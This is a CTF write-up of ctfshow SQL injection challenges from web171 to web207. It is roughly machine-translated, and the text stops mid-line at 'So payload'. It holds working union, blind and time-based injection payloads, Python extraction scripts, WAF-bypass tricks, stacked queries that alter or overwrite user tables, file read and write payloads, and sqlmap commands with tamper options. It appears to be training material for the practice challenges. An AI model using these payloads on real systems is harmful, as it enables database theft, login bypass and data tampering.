ctfshow sql injection web171-web253 wp

Reference articles

Nanshen blog: https://www.wlhhlc.top/

y4 blog: https://y4tacker.blog.csdn.net/

feng blog: https://ego00.blog.csdn.net/

sql injection

Let's just start sql injection now.

web171

Just after entering, we can see that there are three columns: id, username and password

The statement is

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

It can be found that the closing method is single quotation mark. If you enter 1 ', it constitutes limt 1 with id =' 1 '; There must be an error

However, you can use – + to comment out the following quotation mark, that is, id = '1' limit 1;

So the union query is used to obtain the database

1' union select database(),2,3 --+

The usage of select and union is

select [Listing],... from Table name
select [Listing],... from Table name  where condition

union:This operator is used to obtain the union of two result sets. When this operator is used, duplicate rows in the result set are automatically removed.

Some use - 1. Change the id to - 1 to empty the data echoed by the query id. Namely

After successfully obtaining the library name, query its table name. Use group_concat() function, which combines the data of the same line

-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema="ctfshow_web"--+

Then check the list

-1' union select group_concat(column_name),2,3 from information_schema.columns where table_name="ctfshow_user"--+

Although I knew from the beginning that the three columns were id username password, I still followed the normal process

Finally, the password finds the flag

-1' union select password,2,3 from ctfshow_user --+

web172

Do the same as above, this time in ctfshow_ In user2

-1' union select password,2,3 from ctfshow_user2 --+

web173

Whether there is "flag" in the result of filtering query

Ditto found a ctfshow_user3, payload remains unchanged

-1' union select password,2,3 from ctfshow_user3 --+

web174

Grass, although 4 is selected here, the url is still select-no-waf-3 PHP, which needs to be changed to select-no-waf-4 php

Return logic

//Check whether there is a flag in the result
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='query was successful';
    }

Test 1 'order by 1,2 -- + it is found that the interface is abnormal when it is 3, so there are only 2 columns

But if there is a number or flag, it will not be echoed

According to the direct test above

-1' union select password,2 from ctfshow_user4 --+

Indeed, if there are numbers or flag s in the content, they will not be echoed to us

Here we use blind annotation and substr statements. The interface location found by the employer is / API / v4 php. In order to improve the speed of the script, the dichotomy is adopted. The script is as follows

import requests
url = 'http://f9fd0549-389a-4ee0-b26a-8f574791f409.challenge.ctf.show/api/v4.php'
flag = ''
for i in range(60):
    lenth = len(flag)
    min,max = 32,128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            break

        payload = f"?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),{i},1))<{j},'True','False') --+"
        r = requests.get(url=url+payload).text

        if('True' in r):
            max = j
        else:
            min = j

web175

//Check whether there is a flag in the result
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='query was successful';
    }
      

After a simple test, it is still two columns

Solution I

Time blind note, because \ x00 to \ x7f are filtered, there is no way to output characters at all.

Just change the above script a little

import time
import requests
url = 'http://5adcc7d3-c4d3-440a-8f3e-a4b93e6b61e4.challenge.ctf.show/api/v5.php'
flag = ''
for i in range(60):
    lenth = len(flag)
    min,max = 32,128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            break

        payload = f"?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),{i},1))<{j},sleep(0.5),'False') --+"
        start_time = time.time()
        r = requests.get(url=url+payload).text
        end_time = time.time()
        sub = end_time - start_time
        if(sub >= 0.5):
            max = j
        else:
            min = j

Solution II

Bring the obtained data to the root directory of the website by redirection

-1' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/flag.txt' --+

Then visit URL / flag Txt to see the flag. The previous questions should all work like this

web176

//The passed in parameters are filtered
  function waf($str){
   //The code is too simple to show
  }

Too simple x black box √

Test the old routine. In the first test, it is found that the lowercase select is filtered and can be bypassed by changing to select

1' union Select database(),2,3 --+

Finally, the payload is

-1' union Select password,2,3 from ctfshow_user--+

Or directly

' or 1=1 --+

web177

Test it, filter the spaces, and use / * * /. url encoding of # the comment% 23

-1'/**/union/**/select/**/password,2,3/**/from/**/ctfshow_user%23

Universal password is also OK

web178

He won't use / * * /, so it's OK to bypass it with% 09

-1'%09union%09select%09password,2,3%09from%09ctfshow_user%23

web179

I first used 1 '% 09order%09by%091,2,3%23 and found no echo

Finally, it is found that 1 '% 0corder%0cby%0c1,2,3%23 has echo

So here we use%0c instead of spaces

-1'%0cunion%0cselect%0cpassword,2,3%0cfrom%0cctfshow_user%23

web180-web182

I don't know what's filtered here. Anyway, everything related to spaces has been filtered

Then I went to see feng, y4 and dota_ payload of St

It was found that% 23 was filtered on the basis of 179

y4 and 'or(id=26)and' 1 '='1

The query statement put into payload is where username=‘ flag’ and id = '‘or(id=26)and’1’=‘1’ limit 1; ";

Then, because the id of flag is 26, and has higher priority than or

The payload above is equivalent to (username! = 'flag' and id = '') or (id=26and '1' = '1')

Then master feng started with 'Union% 0cselect% 0c1,2, Group'_ concat(password)%0cfrom%0cctfshow_ user%0cwhere%0c’1’='1

In fact, the normal query uses' 1 '=' 1 to replace% 23

Of course, the short one is the best. So the unified payload of these three questions is

'or(id=26)and'1'='1

By the way, web181 is finally blacklisted

//The parameters passed in are filtered web181
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
  }
//The parameters passed in are filtered web182
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
  }

web183

Return logic

//The passed in parameters are filtered
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }

      

Query results

//Returns the total number of records in the user table
      $user_count = 0;
      

¿¿¿¿

First, the parameter passed in filters the equal sign, or

The statement passes the parameter tableName through POST=

 $sql = "select count(pass) from ".$_POST['tableName'].";";

If tablename = ctfshow is passed in_ User, user will be echoed in the query result_ count=22; There are 22 records

Can we check whether the flag we wrote is correct through blind injection? If the echo is 1, it indicates that the current matching flag is correct. Then where is completely controllable, so this method is feasible.

The space is replaced by (), the equal sign is like, and where and% are used to query and match the specified position

import requests
url = "http://3b101a33-92fb-4975-8038-1476d4b5ba57.challenge.ctf.show/select-waf.php"
str = "0123456789abcdef{}-_"
flag = "ctfshow"
for i in range(0,60):
    for j in str:
        data = {"tableName":f"(ctfshow_user)where(pass)like'{flag+j}%'"}
        r = requests.post(url=url, data=data).text
        if "$user_count = 1" in r:
            flag += j
            print(flag)
            if j=="}":
                exit()
            break

web184

Query statement

//Splicing sql statements to find the user with the specified ID
  $sql = "select count(*) from ".$_POST['tableName'].";";
      

Return logic

//The passed in parameters are filtered
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

      

The query logic is the same as above, which returns the number of entries. But notice here that it's much more comfortable without filtering spaces.

But ban dropped where and sleep

Here you can see y4 and the right join used by Nanshen and having used by Master yu

RIGHT JOIN: used to obtain all records in the right table, even if there is no corresponding matching record in the left table.

ctfshow% performs hexadecimal coding to obtain 0x63746673686f7725

First of all, tableName=ctfshow_user goes to check and displays 22 records

Then use ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686f7725 Check flag

on is the connection query

Echo $user found_ count = 43;

If the flag here is correct, you will still get user_count=43, otherwise it cannot be obtained, so it is still blind injection

import binascii
import requests

def str_to_hex(s):
    return '0x'+binascii.b2a_hex(s.encode()).decode()

url = "http://0a468011-1fcc-4f74-9d14-60b1e6e62b39.challenge.ctf.show/select-waf.php"
str = "0123456789abcdef{}-_"
flag = "ctfshow"
for i in range(0,60):
    for j in str:
        res = str_to_hex(flag+j+'%')
        data = {"tableName":f"ctfshow_user as a right join ctfshow_user as b on b.pass like {res}"}
        r = requests.post(url=url, data=data).text
        if "$user_count = 43" in r:
            flag += j
            print(flag)
            if j=="}":
                exit()
            break

web185

A little too much filtering

Query statement

//Splicing sql statements to find the user with the specified ID
  $sql = "select count(*) from ".$_POST['tableName'].";";
      

Return logic

//The passed in parameters are filtered
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

      

[0-9] no, but y4 dad posted a picture

Wow, it's amazing. y4 dad means to use these to construct numbers!

concat() is used to splice letters. The usage is concat('ab ',' cd) - > ABCD

Just modify the script just now!

import requests

def str_to_num(n):
    return ('true+'*n)[:-1]

def concat_str(s):
    res = ''
    for i in s:
        res += 'chr(' + str_to_num(ord(i)) + '),'
    return res[:-1]

url = "http://a84c9ee8-467b-4b3d-be95-5336dd5611c1.challenge.ctf.show/select-waf.php"
str = "0123456789abcdef{}-_"
flag = "ctfshow"
for i in range(0,60):
    for j in str:
        res = concat_str(flag+j+'%')
        data = {"tableName":f"ctfshow_user as a right join ctfshow_user as b on b.pass like (concat({res}))"}
        r = requests.post(url=url, data=data).text
        if "$user_count = 43" in r:
            flag += j
            print(flag)
            if j=="}":
                exit()
            break

web186

Filter more than 100 million points

Query statement

//Splicing sql statements to find the user with the specified ID
  $sql = "select count(*) from ".$_POST['tableName'].";";
      

Return logic

//The passed in parameters are filtered
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

      

Well, the script of the last question can still be used

web187

This question is a regular guest

    $username = $_POST['username'];
    $password = md5($_POST['password'],true);

    //Only admin can get the flag
    if($username!='admin'){
        $ret['msg']='user name does not exist';
        die(json_encode($ret));
    }

After md5, inject it into the regular customer ffifdyop.

username=admin password=ffifdyop

The specific explanation is that the value of ffifdyop after md5 is 276f722736c95d99e921722cf9ed621c, and this string is' or '6 É] after hex é! r,ùíb.

Do you think this' or 'is very interesting

In mysql, when used as Boolean judgment, the string starting with 1 will be regarded as an integer. It should be noted that this situation must be enclosed in single quotation marks. For example, password = 'xxx' or '1xxxxxxxxx', it is equivalent to password = 'xxx' or 1, that is, password = 'xxx' or true, so the return value is true. Of course, in my later test, I found that not only the beginning of 1, but also the beginning of a number.
Of course, if there are only numbers, there is no need for single quotation marks. For example, if password = 'xxx' or 1, the return value is also true. (XXX refers to any character)
--------
Copyright notice: This article is the original article of CSDN blogger "bfengj", which follows the CC 4.0 BY-SA copyright agreement. For reprint, please attach the source link of the original text and this notice.
Original link: https://blog.csdn.net/rfrder/article/details/113664639

So it's equivalent to a universal password

web188

 //User name detection
  if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
    $ret['msg']='Illegal user name';
    die(json_encode($ret));
  }

  //Password detection
  if(!is_numeric($password)){
    $ret['msg']='Password can only be numeric';
    die(json_encode($ret));
  }

  //Password judgment
  if($row['pass']==intval($password)){
      $ret['msg']='Login successful';
      array_push($ret['data'], array('flag'=>$flag));
    }

Query statement

  //Splicing sql statements to find the user with the specified ID
  $sql = "select pass from ctfshow_user where username = {$username}";
      

payload:

username=0&password=0

Explanation:

In the query where username=0, because username will be a string, when comparing a string with a number in mysql, the string beginning with a letter will be converted to the number 0. Therefore, this where can find all the data beginning with a letter

if($row ['pass'] = = intval($password)) is also weak, and the found ones start with letters

Reference article: https://stackoverflow.com/questions/18883213/why-select-from-table-where-username-0-shows-all-rows-username-column-is-v

web189

//Splicing sql statements to find the user with the specified ID
  $sql = "select pass from ctfshow_user where username = {$username}";
//User name detection
  if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
    $ret['msg']='Illegal user name';
    die(json_encode($ret));
  }

  //Password detection
  if(!is_numeric($password)){
    $ret['msg']='Password can only be numeric';
    die(json_encode($ret));
  }

  //Password judgment
  if($row['pass']==$password){
      $ret['msg']='Login successful';
    }

It is still new knowledge, because the title is given to flag in / API / index PHP

The load of the function used here_ File(), generally used as select load_file(xxxx)

LOAD_FILE(file_name): read the FILE and return the FILE content as a string. To use this function, the FILE must be located on the server host, a FILE with a full path must be specified, and must have FILE permission.

regexp: regular expression operator in mysql

Use load here_ File and regexp are used for blind injection. If the regularity matches, it indicates that our flag+str(j) is correct to get the flag. The password is 0

import requests
url = 'http://ad8042a2-7168-43e3-aee6-7302c26fc3f5.challenge.ctf.show/api/'
flag = 'ctfshow'
table = '0123456789abcdef{}-_'
for i in range(60):
    for j in table:
        payload = {'username':f"if(load_file('/var/www/html/api/index.php')regexp('{flag+j}'),0,1)",
                   'password':0}
        r = requests.post(url=url,data=payload).text
        if(r'\u5bc6\u7801\u9519\u8bef' in r):
            flag += j
            print(flag)
            if(j == '}'):
                break

web190

The title of 190 is "not hungry"

Oh, change the area. This is bool blind injection at the beginning

  //Splicing sql statements to find the user with the specified ID
  $sql = "select pass from ctfshow_user where username = '{$username}'";
      

Return logic

  //Password detection
  if(!is_numeric($password)){
    $ret['msg']='Password can only be numeric';
    die(json_encode($ret));
  }

  //Password judgment
  if($row['pass']==$password){
      $ret['msg']='Login successful';
    }

  //TODO: what's missing? It's strange

What's missing is nothing. It seems that the filtering feeling is cancelled

Oh, grass, no API / index PHP

By the way, I also found that flag is not in ctfshow_user, well, do it again. But it can only be done through blind injection. If sqlmap is used here, it should be able to shuttle out one by one, because it is too standard.

First, write the big framework, because login will only prompt that there is no user name and password error

This is a large framework. The payload is the name of the query table

import requests
url = 'http://bfa46133-bd43-47a8-85f7-8c26d97a6838.challenge.ctf.show/api/'
flag = ''
for i in range(100):
    lenth = len(flag)
    min = 32
    max = 128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            if(len(flag) > 2 and chr(j) == ' '):
                exit()
            break
        payload = f"' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},1,0)-- -"  #Get table name
        

        data = {'username':payload
                ,'password':114514}
        r = requests.post(url=url,data=data).text
        if(r'\u5bc6\u7801\u9519\u8bef' in r):
            max = j
        else:
            min = j
payload=f"' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))<{j},1,0)-- -"   #Take column name
payload=f"' or if(ascii(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1))<{j},1,0)-- -" #Take the flag

Finally, you can get the flag

web191

 //Password detection
  if(!is_numeric($password)){
    $ret['msg']='Password can only be numeric';
    die(json_encode($ret));
  }

  //Password judgment
  if($row['pass']==$password){
      $ret['msg']='Login successful';
    }

  //TODO: what's missing? It's strange
    if(preg_match('/file|into|ascii/i', $username)){
        $ret['msg']='Illegal user name';
        die(json_encode($ret));
    }

      

Damn it, after filtering ascii, let's ord er it

import requests
url = 'http://e9bd512d-7b94-43eb-97e0-6ccd5bb8fb87.challenge.ctf.show/api/'
flag = ''
for i in range(100):
    lenth = len(flag)
    min = 32
    max = 128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            if(len(flag) > 2 and chr(j) == ' '):
                exit()
            break
        payload=f"' or if(ord(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1))<{j},1,0)-- -"

        data = {'username':payload
                ,'password':114514}
        r = requests.post(url=url,data=data).text
        if(r'\u5bc6\u7801\u9519\u8bef' in r):
            max = j
        else:
            min = j

web192

 //Password detection
  if(!is_numeric($password)){
    $ret['msg']='Password can only be numeric';
    die(json_encode($ret));
  }

  //Password judgment
  if($row['pass']==$password){
      $ret['msg']='Login successful';
    }

  //TODO: what's missing? It's strange
    if(preg_match('/file|into|ascii|ord|hex/i', $username)){
        $ret['msg']='Illegal user name';
        die(json_encode($ret));
    }

Digging lotus root, wonderful. How did he know I used ord before

Here we use regular to match

import requests
url = "http://4f15a9a5-9519-4427-ab84-0cc29484aeab.challenge.ctf.show/api/"
flag = ""
table = "0123456789abcdef-{}_"

for i in range(1,99):
    for j in table:
        username_data = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g), {i}, 1)regexp('{j}'), 1, 0)=1#"
        data = {'username': username_data,
                'password': 1}
        r = requests.post(url=url, data=data).text
        if r"\u5bc6\u7801\u9519\u8bef" in r:
            flag += j
            print(flag)
            if j == "}":
                exit()
            break

web193

Return logic

  //Password detection
  if(!is_numeric($password)){
    $ret['msg']='Password can only be numeric';
    die(json_encode($ret));
  }

  //Password judgment
  if($row['pass']==$password){
      $ret['msg']='Login successful';
    }

  //TODO: what's missing? It's strange
    if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
        $ret['msg']='Illegal user name';
        die(json_encode($ret));
    }

      

Here, substr is filtered based on the previous question. Then use Like

Then it was found that the name of the table had changed, so I annotated it again

import requests
url = "http://618941b4-ab0f-43e2-83ce-01afe487708c.challenge.ctf.show/api/"
flag = ""
table = "0123456789abcdefghijklmnopqrstuvwxyz-,{}_"

for i in range(1,99):
    for j in table:
        pay = flag+j+'%'
        username_data = f"' or if((select group_concat(table_name) from information_schema.tables where table_schema=database()) like '{pay}',1,0)#"
        data = {'username': username_data,
                'password': 1}
        r = requests.post(url=url, data=data).text
        if r"\u5bc6\u7801\u9519\u8bef" in r:
            flag += j
            print(flag)
            if j == "}":
                exit()
            break
f"' or if((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg') like '{pay}',1,0)#
f"' or if((select group_concat(f1ag) from ctfshow_flxg) like '{pay}',1,0)#"

web194

Return logic

  //Password detection
  if(!is_numeric($password)){
    $ret['msg']='Password can only be numeric';
    die(json_encode($ret));
  }

  //Password judgment
  if($row['pass']==$password){
      $ret['msg']='Login successful';
    }

  //TODO: what's missing? It's strange
    if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
        $ret['msg']='Illegal user name';
        die(json_encode($ret));
    }

      

No, continue

Of course, you can also notice that feng said y4 used locate

LOCATE(substr,str), LOCATE(substr,str,pos): the first syntax returns the first occurrence of the string character substr in the string str. The second syntax returns the first occurrence of the string substr at the position pos of the string str. The return value is 0, substr is not in str

Of course, you can see that there is little difference between locate and like

web195

Return logic

  //Password detection
  if(!is_numeric($password)){
    $ret['msg']='Password can only be numeric';
    die(json_encode($ret));
  }

  //Password judgment
  if($row['pass']==$password){
      $ret['msg']='Login successful';
    }

  //TODO: feels a little bit less, and it's strange that he won't be once again caught in a blood.
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='Illegal user name';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="Login successful flag is $flag";
  }
      

Obviously, this means that flag is successful, and then it is stacked and injected. So the title description is once again.

You can see that spaces are filtered here

After reading wp, you can replace the space with backquotes

Then you just need to log in, so the masters' wp passwords are changed directly and violently

So there is

username = 0;update`ctfshow_user`set`pass`=1
 then
password = 1

web196

The title description says that the user name cannot be too long

 //TODO: feels a little bit less, and it's strange that he won't be once again caught in a blood.
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='Illegal user name';
    die(json_encode($ret));
  }

  if(strlen($username)>16){
    $ret['msg']='The user name cannot exceed 16 characters';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="Login successful flag is $flag";
  }

Of course, my stupid response is to find a way to splice, or directly win 16 characters

I don't understand. Why do the masters say that se1ect is filtered instead of select

But select does work

So payload is

username = 1;select(1)
password = 2333

Because the user 1 cannot be queried, select(1) is executed

web197

User names can be very long

 //TODO: feels a little bit less, and it's strange that he won't be once again caught in a blood.
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
    $ret['msg']='Illegal user name';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="Login successful flag is $flag";
  }

Then I didn't understand Nanshen here. Although I can get the flag, I don't know it's ctfshow_ How did you get this in the case of user

feng and y4 are used here

username = 1;alter table `ctfshow_user` change `pass` `feng` varchar(255); alter table `ctfshow_user` change `id` `pass` varchar(255)

then username = 0
password Start blasting from 1

Because the id here is actually changed to pass, and the id is only a pure number. As long as it is matched, the flag can be displayed back

Another question, can I write it in

Oh, it's filtered. I can't seem to write. Forget it.

web198

The user name can be longer

 //TODO: feels a little bit less, and it's strange that he won't be once again caught in a blood.
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
    $ret['msg']='Illegal user name';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="Login successful flag is $flag";
  }

Do the same as just now

web199

 //TODO: feels a little bit less, and it's strange that he won't be once again caught in a blood.
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
    $ret['msg']='Illegal user name';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="Login successful flag is $flag";
  }

Just one more filter(

Use the southern God's method

username = 1;show tables;
password = ctfshow_user

web200

The stack is over! Ibid

web201

Actually let us practice how to use sqlmap, OK!

kali has its own sqlmap. I won't say more. Open the whole

use--user-agent appoint agent
 use--referer bypass referer inspect

Take a look at the network

http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/api/?id=12&page=1&limit=10

get requests access. If you bypass it, just look at your network copy and paste

inspection of the treasury
sqlmap -u http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/api/?id=12 --dbs --user-agent sqlmap --referer http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/sqlmap.php

Five of them are found out, of which ctfshow must be used_ web

Look up table
sqlmap -u http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/api/?id=12 --user-agent sqlmap --referer http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/sqlmap.php -D ctfshow_web --tables

Note ctfshow_user

List
sqlmap -u http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/api/?id=12 --user-agent sqlmap --referer http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user --columns

Find out id username pass

Burst field
sqlmap -u http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/api/?id=12 --user-agent sqlmap --referer http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C pass --dump

web202

Topic Description: use – data to adjust the request mode of sqlmap

Shouldn't data be used for POST? Isn't this GET? There's no problem using the payload above. Why should it be adjusted

But I really can't note it.. Just change – data =

Directly to the last payload

Burst field
sqlmap -u http://e4fac56f-d2b4-460b-b90b-4c3f185db0c0.challenge.ctf.show/api/ --data="id=1" --user-agent sqlmap --referer http://e4fac56f-d2b4-460b-b90b-4c3f185db0c0.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C pass --dump

web203

Use – method to adjust the request mode of sqlmap

Take a look at the usage method: sqlmap -hh |grep "method"

Well, why use Put

The url generally selects the link including parameter input. If it is a get method, use it directly after the url? Supplementary parameters. If it is a post method, send it in the format of – data = 'xxx = XXX & YYY = YYY'. Or – data = '{"xx": "XXX"}' json format. If these two methods are not common, you need to add parameters -- method=put or -- method=delete to give special instructions. If it is a path parameter, write * at the parameter position; If you need to add header information, you need to add a parameter - headers = 'xx:xxx\nyy:yyy', \ n is multiple lines, indicating multiple header items.
--------
Copyright notice: This article is the original article of CSDN blogger "Luming Tianya", which follows the CC 4.0 BY-SA copyright agreement. Please attach the original source link and this notice for reprint.
Original link: https://blog.csdn.net/jayjaydream/article/details/108555660

After reading it, I don't know, huh. In short, the PUT request is used here, and the content type header must be set, otherwise submission will become form submission

--headers="Content-Type: text/plain"

In addition, / api / index. Cannot be written here php

sqlmap -u http://ffa2a543-adbc-49fa-8edc-ee90f58860df.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --user-agent sqlmap --referer http://ffa2a543-adbc-49fa-8edc-ee90f58860df.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C pass --dump

web204

Use – submit cookie data

Firefox glanced at the cookie

CookieUM_distinctid=17de6c9e789a39-0088a827fd34f08-4c3e207f-144000-17de6c9e78a631; PHPSESSID=df3sj4eht92seoarkj6nr9t6gr; ctfshow=c83835c8065c104bba7ca3dc385e55bd

Just add one sentence to the previous one

sqlmap -u http://dfb9f16f-c648-42e7-b3e0-240c5aa1679e.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --cookie="UM_distinctid=17de6c9e789a39-0088a827fd34f08-4c3e207f-144000-17de6c9e78a631;PHPSESSID=df3sj4eht92seoarkj6nr9t6gr; ctfshow=c83835c8065c104bba7ca3dc385e55bd" --user-agent sqlmap --referer http://dfb9f16f-c648-42e7-b3e0-240c5aa1679e.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C pass --dump

Well, it's really a little long. It seems that a lot can be saved

web205

Authentication is required for api calls

Looking at the network, I found that two packets were sent at one time, one more / gettoken php

In other words, when requesting to look up the table, a / gettoken will be requested first php

This means that you need to access gettoken before looking up the table PHP, and then gettoekn PHP is used when looking up tables.

Using sqlmap -hh, go to Baidu translation to see if there is anything we need

– safe URL can access getToken before we check it

Secondly, in order to set the number of visits, you also need to use – safe freq

So there is the following payload (the table name and column name are changed here, so I won't put the payload in the middle query)

sqlmap -u http://55bec546-a2a9-4ccc-9347-df357c6b8fa8.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://55bec546-a2a9-4ccc-9347-df357c6b8fa8.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://55bec546-a2a9-4ccc-9347-df357c6b8fa8.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_flax -C flagx --dump

web206

sql needs to be closed

What do you mean? Can't you directly note it? Then you find that there is still getToken, so change the url of the above question

Then step by step, I found that I changed the table and column names, Ho

sqlmap -u http://4c678e53-94cf-464a-99ce-f4fac82f2817.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://4c678e53-94cf-464a-99ce-f4fac82f2817.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://4c678e53-94cf-464a-99ce-f4fac82f2817.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_flaxc -C flagv --dump

web207

– the first experience of tamper

Check the tamper, oh ~, which is the script around waf. After all, there is a very familiar word tampermonkey, the script manager used by our oil monkey

What does first experience mean

Return logic

//The passed in parameters are filtered
  function waf($str){
   return preg_match('/ /', $str);
  }
      

It means that you need to change the space in a script around waf into one around the space, such as% 09?

First of all, the tamper script files of sqlmap are all in the tamper folder of sqlmap, as shown below.

Ah, I found this space2comment Py seems to work

apostrophemask.py use utf8 Replace quotation marks

equaltolike.py MSSQL * SQLite in like Replace equal sign

greatest.py MySQL Bypass filtering in'>' ,use GREATEST Replace greater than sign

space2hash.py Replace spaces with#Random string and newline character

space2comment.py use/**/Replace spaces

apostrophenullencode.py MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL Bypass the filter double quotes and replace characters and double quotes

halfversionedmorekeywords.py When the database is mysql, bypass the firewall and add MySQL version comments before each keyword

space2morehash.py MySQL Replace spaces with # numbers and more random string newlines

appendnullbyte.p Microsoft Access Load zero byte character encoding at the end of payload

ifnull2ifisnull.py MySQL,SQLite (possibly),SAP MaxDB Bypass IFNULL filtering

space2mssqlblank.py mssql Replace spaces with other empty symbols

base64encode.py base64 encoding

space2mssqlhash.py mssql Replace spaces in query

modsecurityversioned.py mysql Filter spaces in the query, including complete query version comments

space2mysqlblank.py mysql Replace other blank symbols with spaces in

between.py MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Replace the greater than sign with between (>)

space2mysqldash.py MySQL,MSSQL Replace the space character (") ('–') followed by a dash to comment on a new line ('n ')

multiplespaces.py Add multiple spaces around SQL keywords

space2plus.py Replace spaces with +

bluecoat.py MySQL 5.1, SGOS Replace the SQL statement with a valid random white space character after the white space character. Then replace = with like

nonrecursivereplacement.py Double query statement. Replace the predefined SQL keyword with to indicate that it is suitable for substitution

space2randomblank.py Replace the space character ("") with a valid set of optional characters from a random space character

sp_password.py Append sp_password 'starts at the end of the 26 payload of the automatic obfuscation of the DBMS log

chardoubleencode.py Double url encoding (do not process encoded)

unionalltounion.py Replace UNION ALL SELECT UNION SELECT

charencode.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url code;

randomcase.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0 Medium random case

unmagicquotes.py Wide character bypass GPC addslashes

randomcomments.py Use/**/division sql keyword

charunicodeencode.py ASP,ASP.NET Medium string unicode code

securesphere.py Append special string

versionedmorekeywords.py MySQL >= 5.1.13 Comment bypass

halfversionedmorekeywords.py MySQL < 5.1 Add comments before keywords in

By the way, I found that the table and column name ctfshow have been changed here_ flaxca flagvc

So payload

